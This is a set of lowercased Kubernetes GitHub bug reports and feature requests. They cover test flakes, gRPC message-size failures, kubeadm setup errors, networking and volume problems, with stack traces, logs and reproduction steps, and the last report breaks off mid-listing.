0x33, 0x40, 0x86a29e0, 0x5, 0x0 \r \t/volumes/development/projects/origin/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/kubernetes/typed/core/v1/event_expansion.go:162 +0x5b\r github.com/openshift/origin/vendor/k8s.io/client-go/tools/record.recordevent 0xdb8dcc0, 0xc422185810, 0xc428f30e00, 0xc42bd5cf44, 0x33, 0x40, 0x1, 0xc4213c3d00, 0xc420b59801 \r \t/volumes/development/projects/origin/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/record/event.go:174 +0x591\r github.com/openshift/origin/vendor/k8s.io/client-go/tools/record.recordtosink 0xdb8dcc0, 0xc422185810, 0xc428f30400, 0xc4213c3d00, 0xc4213c3ca0, 0x2540be400 \r \t/volumes/development/projects/origin/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/record/event.go:138 +0x11f\r github.com/openshift/origin/vendor/k8s.io/client-go/tools/record.  eventbroadcasterimpl .startrecordingtosink.func1 0xc428f30400 \r \t/volumes/development/projects/origin/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/record/event.go:120 +0x5c\r github.com/openshift/origin/vendor/k8s.io/client-go/tools/record.  eventbroadcasterimpl .starteventwatcher.func1 0xdb76240, 0xc423c0c840, 0xc423c0c810 \r \t/volumes/development/projects/origin/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/record/event.go:238 +0xf5\r created by github.com/openshift/origin/vendor/k8s.io/client-go/tools/record.  eventbroadcasterimpl .starteventwatcher\r \t/volumes/development/projects/origin/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/record/event.go:240 +0x6e\r

for e.g the density test started failing on all our kubemark jobs that are big  i.e on >= 100 nodes :\r - https://k8s-testgrid.appspot.com/sig-scalability kubemark-100\r - https://k8s-testgrid.appspot.com/sig-scalability kubemark-500\r \r and it clearly seems to be a regression caused by this pr  from the diff  - https://github.com/kubernetes/kubernetes/pull/50531 - which updated grpc vendor code. the error we're seeing is the following:\r \r    \r expected error:\r     < errors.statuserror | 0xc42d8c0900>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ },\r             status: \ failure\ ,\r             message: \ rpc error: code = resourceexhausted desc = grpc: received message larger than max  26710706 vs. 4194304 \ ,\r             reason: \ \ ,\r             details: nil,\r             code: 500,\r         },\r     }\r     rpc error: code = resourceexhausted desc = grpc: received message larger than max  26710706 vs. 4194304 \r not to have occurred\r    \r \r it's coming from this line of the test - https://github.com/kubernetes/kubernetes/blob/master/test/e2e/scalability/density.go l232 - where we list all pods across all namespaces. seems like the mtu for grpc calls changed as a result of the update.\r \r cc @kubernetes/sig-scalability-bugs @renaudwastaken @wojtek-t

is this a bug report or feature request?  :\r  \r   what happened  :\r the   testroundtriptypes  test in  pkg/api/serialization_test.go   https://github.com/kubernetes/kubernetes/blob/73a6ee1dcc20ece22b1bbcdd00d3147984ba70bb/pkg/api/serialization_test.go l204-l216  is flaking. it flaked before in https://github.com/kubernetes/kubernetes/issues/42651.\r \r output from a recent failure   pull-kubernetes-unit for  48988  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/51198/pull-kubernetes-unit/48988/  :\r    \r e0824 14:01:47.277941   12273 event.go:194  unable to construct event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ \ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ \ , message:\ \ , source:v1.eventsource{component:\ \ , host:\ \ }, firsttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, count:0, type:\ \ }': 'request construction error: '<nil>''  will not retry! \r e0824 14:01:47.281233   12273 event.go:200  server rejected event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ \ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ \ , message:\ \ , source:v1.eventsource{component:\ \ , host:\ \ }, firsttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, count:0, type:\ \ }': ''  will not retry! \r e0824 14:01:47.281479   12273 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 14:01:47.281547   12273 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 14:01:47.281619   12273 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 14:01:47.281685   12273 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 14:01:47.281727   12273 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 14:01:47.281764   12273 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 14:01:47.281788   12273 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 14:01:47.281839   12273 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 14:01:47.281876   12273 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 14:01:47.281907   12273 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 14:01:47.281946   12273 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 14:01:47.281996   12273 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 14:01:47.282033   12273 event.go:144  unable to write event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ \ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ \ , message:\ \ , source:v1.eventsource{component:\ \ , host:\ \ }, firsttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, count:0, type:\ \ }'  retry limit exceeded! \r e0824 14:01:47.282328   12273 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 14:01:47.282388   12273 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r  ... \r e0824 14:01:47.282750   12273 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 14:01:47.282781   12273 event.go:144  unable to write event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ \ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ \ , message:\ \ , source:v1.eventsource{component:\ \ , host:\ \ }, firsttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, count:0, type:\ \ }'  retry limit exceeded! \r e0824 14:01:47.283000   12273 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 14:01:47.285503   12273 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 14:01:47.285629   12273 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r \r  ... \r    \r \r i can reproduce this locally on the latest  master  as well.\r \r   what you expected to happen  :\r test should pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r go test -v k8s.io/kubernetes/pkg/api -run testroundtriptypes$\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r \r   what happened  :\r i'm using this ansible playbook https://github.com/theshellland/antsable/blob/master/playbooks/k8s_master.yml\r \r and everything completes up until it tries to apply canal.\r \r \r following documentation: https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/ pod-network\r \r \r error when applying canal yaml:\r    \r root@k8s-master:~  kubectl apply -f https://raw.githubusercontent.com/projectcalico/canal/master/k8s-install/1.6/canal.yaml\r w1007 17:19:37.842245    8955 factory_object_mapping.go:423  failed to download openapi  get http://localhost:8080/swagger-2.0.0.pb-v1: dial tcp  ::1 :8080: getsockopt: connection refused , falling back to swagger\r    \r \r there's no service listening on port 8080:\r    \r root@k8s-master:~  ss -lnt\r state       recv-q send-q                         local address:port                                        peer address:port              \r listen      0      128                                127.0.0.1:10248                                                   :                   \r listen      0      128                                127.0.0.1:10249                                                   :                   \r listen      0      128                                127.0.0.1:10251                                                   :                   \r listen      0      128                                127.0.0.1:2379                                                    :                   \r listen      0      128                                127.0.0.1:10252                                                   :                   \r listen      0      128                                127.0.0.1:2380                                                    :                   \r listen      0      128                                         :22                                                      :                   \r listen      0      128                                       :::10250                                                 :::                   \r listen      0      128                                       :::6443                                                  :::                   \r listen      0      128                                       :::10255                                                 :::                   \r listen      0      128                                       :::10256                                                 :::                   \r listen      0      128                                       :::22                                                    :::                   \r    \r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r  - fresh ubuntu 16.04 server\r  - run ansible playbook https://github.com/theshellland/antsable/blob/master/playbooks/k8s_master.yml\r  - error\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r    \r - cloud provider or hardware configuration  : \r - os  e.g. from /etc/os-release :\r    \r root@k8s-master:~  cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r root@k8s-master:~  uname -a\r linux k8s-master 4.4.0-96-generic  119-ubuntu smp tue sep 12 14:59:54 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r in-tree volume api does not have an easy way to access nodename of currently running node.  this is needed specifically for the in-tree csi volume plugin.\r

failing job\r      sig-release-master-upgrade gce-1.10-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-parallel \r      sig-release-master-upgrade gce-1.10-master-upgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster \r      sig-release-master-upgrade gce-1.10-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-new \r \r    failing test\r      ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/3125 \r      ci-kubernetes-e2e-gce-new-master-upgrade-cluster  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2075 \r      ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1389 \r \r \r    triage results\r      ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel&test=timeout \r      ci-kubernetes-e2e-gce-new-master-upgrade-cluster  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-new-master-upgrade-cluster&test=timeout \r      ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new&test=timeout \r \r this test is currently failing in sig-release master-upgrade suite, this could potentially become release blocking if not addressed sooner. @bentheelder can you please triage this failure?\r \r  / /  @kubernetes/sig-testing-bugs \r \r cc @jberkus @tpepper \r \r /assign @bentheelder   \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r \r   what happened  :\r  stream  field is used as  stream  parameter for all fluentd configurations to collect container logs:\r \r   https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/fluentd-es-configmap.yaml l141\r   https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-gcp/fluentd-gcp-configmap-old.yaml l99\r   https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-gcp/fluentd-gcp-configmap.yaml l112\r \r available values of  stream  fields for all container logs are  stdour  and  stderr , which means interleaved logs from different containers with same  stream  field are treated as a same logical log stream by  detect_exceptions   according to  this doc  https://github.com/googlecloudplatform/fluent-plugin-detect-exceptions/blob/master/readme.rdoc configuration  . in this case,  detect_exceptions  couldn't detect exceptions from the interleaved logs from different containers.\r \r   what you expected to happen  :\r  detect_exceptions  should be able to detect exceptions from the interleaved logs from different containers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r

@kubernetes/sig-scheduling-misc\r \r in a kubernetes environment i have two worker node. while i am running two pods each pod requested for 1 gpu  it is getting scheduled on two different node by default. this is how the kubernetes default scheduler works.\r \r is it possible that the pods can be scheduled on the a worker node until it uses all the gpu resources?

on executing kubeadm init command \r  wait-control-plane  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ . this can take up to 4m0s\r  kubelet-check  initial timeout of 40s passed.\r \r in  wait-control-plane  it is showing 4m0s and in  kubelet-check  it is showing 40s passed\r

i noticed that from a user's bug report that aws ec2 api that it can give more useful information about a volume. for example, aws can give information about attachment  time, vm-id, state, device name, iops, snapshot id, ... . from kubelet describe, i could not find out whether a pvc and its bounded pv is attached to a node or not.       $ aws ec2 describe-volumes --volume-ids vol-0e3bf8343563ee5aa {     \ volumes\ :           {             \ availabilityzone\ : \ us-east-1e\ ,              \ attachments\ :                   {                     \ attachtime\ : \ 2016-07-20t21:05:17.000z\ ,                      \ instanceid\ : \ i-06d03923e9e5a6329\ ,                      \ volumeid\ : \ vol-0e3bf8343563ee5aa\ ,                      \ state\ : \ attached\ ,                      \ deleteontermination\ : false,                      \ device\ : \ /dev/xvdbb\                  }              ,              \ tags\ :   ,             \ encrypted\ : false,              \ volumetype\ : \ gp2\ ,              \ volumeid\ : \ vol-0e3bf8343563ee5aa\ ,              \ state\ : \ in-use\ ,              \ iops\ : 100,              \ snapshotid\ : \ \ ,              \ createtime\ : \ 2016-07-19t00:25:00.168z\ ,              \ size\ : 30         }       }      the following shows what we can get from describing a pv and pvc       $ kebulet describe pv name:       pv0003 labels:     failure-domain.beta.kubernetes.io/region=us-central1         failure-domain.beta.kubernetes.io/zone=us-central1-b status:     bound claim:      default/myclaim-1 reclaim policy: retain access modes:   rwo,rox capacity:   2gi message:     source:     type:   gcepersistentdisk  a persistent disk resource in google compute engine      pdname: test-disk     fstype: ext4     partition:  0     readonly:   false          $kubelet describe pvc name:       myclaim-1 namespace:  default status:     bound volume:     pv0003 labels:     <none> capacity:   2gi access modes:   rwo,rox

kubernetes version    use  kubectl version  :\r \r    \r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   what happened  :\r \r i see multiple cni del calls for stopped infra containers.\r \r   what you expected to happen  :\r \r should only receive a single del call for the stopped infra container.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r reboot a kubernetes node that is running at least one pod.  when the node comes back up, cni receives the following calls.\r \r - del for old infra container.\r - add for new infra container.\r - del for old infra container.\r \r   anything else we need to know  :\r \r this thread discussed how to prevent this issue when the gc behavior was added originally: https://github.com/kubernetes/kubernetes/pull/37036/files r92748913\r \r seems like the fix in that pr isn't quite behaving as was expected.  i'm still trying to dig into what's causing the extra del call.\r \r cc @dcbw \r \r \r \r

is this a request for help?   no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : service, external ip\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : custom\r -   os    e.g. from /etc/os-release : \r    \r   cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r \r    \r -   kernel    e.g.  uname -a  :\r  linux kube-master-node 4.4.0-31-generic  50-ubuntu smp wed jul 13 00:07:12 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r \r -   install tools  : kubeadm\r -   others  : -\r   what happened  :\r i have a 3-node cluster formed using kubeadm. \r \r - create a service of type=loadbalancer. we have our own custom plugin to handle type=loadbalancer which gives the external ip, say   service-1  \r \r - create a service with type=nodeport  none of the minions have external ip , say   service-2  \r \r - i am able to access   service-2   using   service-1's   external ip and nodeport of   service-2   \r \r   what you expected to happen  :\r service which is exposed via type=loadbalancer should not allow access to other services\r \r   how to reproduce it    as minimally and precisely as possible :\r - create a service of type=loadbalancer. we have our own custom plugin to handle type=loadbalancer which gives the external ip, say   service-1  \r \r - create a service with type=nodeport  none of the minions have external ip , say   service-2  \r \r - i am able to access   service-2   using   service-1's   external ip and nodeport of   service-2  \r \r   anything else we need to know  :\r \r

there is a todo created by @thockin   in  pkg/proxy/iptables.go , see\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go l1632\r \r both iptables and userspace proxier needs to use conntrack tool to delete the conntrack entries when service is down. \r \r i find  deleteserviceconnections    which uses the conntrack tool to delete the conntrack entries for the udp connections specified by the given service ips was already placed in the  pkg/proxy/util  package. however,  clearudpconntrackforport  uses the conntrack tool to delete the conntrack entries for the udp connections specified by the port.  and  deleteudpconnections  uses the conntrack tool to delete the conntrack entries for the udp connections specified by the {origin, dest} ip pair  are remained in  pkg/proxy/iptables.go .\r \r i assume move these functions together to  proxy/util/conntrack.go  package can be made them more consitent and we can add some uts for them in  proxy/util/conntrack_test.go .\r \r @thockin @knobunc @bprashanth @kevin-wangzefeng \r \r do you agree we may make some benefits from doing that?\r \r  \r

i've create a deployment and a service and deployed them using kubernetes, and when i tried to access them by curl, always i got a connection timed out error.\r \r here's my yml files:\r \r deployment.yml\r \r    \r   apiversion: extensions/v1beta1\r     kind: deployment\r     metadata:\r       labels:\r         app: locations-service\r       name: locations-service\r       namespace: default\r     spec:\r       replicas: 2\r       selector:\r         matchlabels:\r           app: locations-service\r       template:\r         metadata:\r           labels:\r             app: locations-service\r         spec:\r           containers:\r             - image: dropwizard:latest\r               imagepullpolicy: never   just for testing!\r               name: locations-service\r               ports:\r                 - containerport: 8080\r                   protocol: tcp\r                   name: app-port\r                 - containerport: 8081\r                   protocol: tcp\r                   name: admin-port\r               resources: {}\r           dnspolicy: clusterfirst\r           restartpolicy: always\r           schedulername: default-scheduler\r    \r \r \r service.yml\r    \r \r   apiversion: v1\r     kind: service\r     metadata:\r       labels:\r         app: locations-service\r       name: locations-service\r       namespace: default\r     spec:\r       type: nodeport\r       externaltrafficpolicy: cluster\r       ports:\r       - name: \ 8080\ \r         port: 8080\r         targetport: 8080\r         protocol: tcp\r       - name: \ 8081\ \r         port: 8081\r         targetport: 8081\r         protocol: tcp\r       selector:\r         app: locations-service\r    \r \r also i tried to add ingress routes, and tried to hit them but still the same problem occur.\r \r note that the application is successfully deployed, and i can check the logs from k8s dashboard\r ! image  https://user-images.githubusercontent.com/9281675/32957941-ba6f93b8-cbc5-11e7-8ee1-bf1ab6b1ec5f.png \r \r another example, i have the following svc\r    \r \r kubectl describe service webapp1-svc\r name:                     webapp1-svc\r namespace:                default\r labels:                   app=webapp1\r annotations:              <none>\r selector:                 app=webapp1\r type:                     nodeport\r ip:                       10.0.0.219\r port:                     <unset>  80/tcp\r targetport:               80/tcp\r nodeport:                 <unset>  30080/tcp\r endpoints:                172.17.0.4:80\r session affinity:         none\r external traffic policy:  cluster\r events:                   <none>\r    \r \r and tried to access it using\r \r    \r curl -v 10.0.0.219:30080\r   rebuilt url to: 10.0.0.219:30080/\r     trying 10.0.0.219...\r   connect to 10.0.0.219 port 30080 failed: connection timed out\r   failed to connect to 10.0.0.219 port 30080: connection timed out\r   closing connection 0\r curl:  7  failed to connect to 10.0.0.219 port 30080: connection timed out\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r while working on https://github.com/kubernetes/kubernetes/pull/55168, roundtrip tests were flakey:\r \r    \r roundtrip.go:325: customresourcedefinition: v1beta1.customresourcedefinition: spec: v1beta1.customresourcedefinitionspec: validation: v1beta1.customresourcevalidation: openapiv3schema: v1beta1.jsonschemaprops: additionalproperties: readobjectfieldasbytes: expect : after object field, parsing 13210 ...ties\ :{\ \\\ ... at\r    \r \r the error comes from jsoniter here:\r \r https://github.com/kubernetes/kubernetes/blob/27b3681cece5bc4c63e067a1595edbc5bb5964a0/vendor/github.com/json-iterator/go/feature_iter_object.go l195\r \r related jsoniter issues:\r \r - https://github.com/json-iterator/go/issues/50\r - https://github.com/json-iterator/go/issues/191\r \r even though both issues appear to be fixed, when i bump jsoninter, i get:\r \r    \r roundtrip.go:325: customresourcedefinition: v1beta1.customresourcedefinition: spec: v1beta1.customresourcedefinitionspec: validation: v1beta1.customresourcevalidation: openapiv3schema: v1beta1.jsonschemaprops: additionalproperties: readobjectfieldasbytes: expect : after object field, but found r, error found in  10 byte of ...|ties\ :{\ \\\ r騸炎oǧ|..., bigger context ...|�內錧嗾qȳ蒅ǧ煠\ }} ,\ patternproperties\ :{\ \\\ r騸炎oǧrɲś鈟踍\ :{\ id\ :\ 羳l聿殦@钆ł3+��|...\r    \r \r   what you expected to happen  :\r \r serialization tests to pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the roundtrip tests for apiextensions-apiserver in https://github.com/kubernetes/kubernetes/pull/55168.\r \r    \r go test -v  k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/install\r    \r \r   anything else we need to know?  :\r \r fwiw this solution - https://github.com/soltysh/origin/pull/8 - works. not sure if we want to incorporate into kubernetes as of now  ? .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign @thockin @mfojtik

/  /status approved-for-milestone\r \r @kubernetes/sig-cluster-lifecycle-test-failures\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce\r the job is on the  master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking  and been failing to bring up the cluster.\r \r cc @jdumars @luxas @jessicaochen \r \r

<!-- this form is for bug reports and feature requests only! \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r specified  devicepath: /dev/pvcname  for a volumedevice, but it was not present in container.\r \r   what you expected to happen  :\r /dev/pvcname should exist inside container.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: test-volume-mode\r   namespace: default\r spec:\r   containers:\r   - command:\r     - sleep\r     - \ 360000\ \r     image: ubuntu\r     imagepullpolicy: always\r     securitycontext:\r       privileged: true\r     name: busybox\r     volumedevices:\r     - devicepath: /dev/pvcname\r       name: pvcvolume\r   dnspolicy: clusterfirst\r   hostnetwork: true\r   restartpolicy: always\r   schedulername: default-scheduler\r   serviceaccount: default\r   serviceaccountname: default\r   volumes:\r     - name: pvcvolume\r       persistentvolumeclaim:\r         claimname: disk-cirros-block\r    \r \r   anything else we need to know?  :\r this is quite possibly related to https://github.com/kubernetes/kubernetes/issues/58251 but what we're seeing is slightly different. with the above pod spec, we see these devices:\r \r    \r autofs           dm-11  dm-20  dm-3   fd            loop1               nvram     sda       snd              tty11  tty20  tty3   tty39  tty48  tty57  tty9     vcs1   vcsa4        vhost-net\r bsg              dm-12  dm-21  dm-30  full          loop2               oldmem    sdb       sr0              tty12  tty21  tty30  tty4   tty49  tty58  ttys0    vcs2   vcsa5        zero\r btrfs-control    dm-13  dm-22  dm-4   fuse          mapper              parport0  sdc       stderr           tty13  tty22  tty31  tty40  tty5   tty59  ttys1    vcs3   vcsa6\r core             dm-14  dm-23  dm-5   hpet          mcelog              port      sg0       stdin            tty14  tty23  tty32  tty41  tty50  tty6   ttys2    vcs4   vda\r cpu              dm-15  dm-24  dm-6   hwrng         mem                 ppp       sg1       stdout           tty15  tty24  tty33  tty42  tty51  tty60  ttys3    vcs5   vda1\r cpu_dma_latency  dm-16  dm-25  dm-7   input         mqueue              ptmx      sg2       termination-log  tty16  tty25  tty34  tty43  tty52  tty61  uhid     vcs6   vda2\r crash            dm-17  dm-26  dm-8   kmsg          net                 pts       sg3       tty              tty17  tty26  tty35  tty44  tty53  tty62  uinput   vcsa   vda3\r dm-0             dm-18  dm-27  dm-9   kvm           network_latency     random    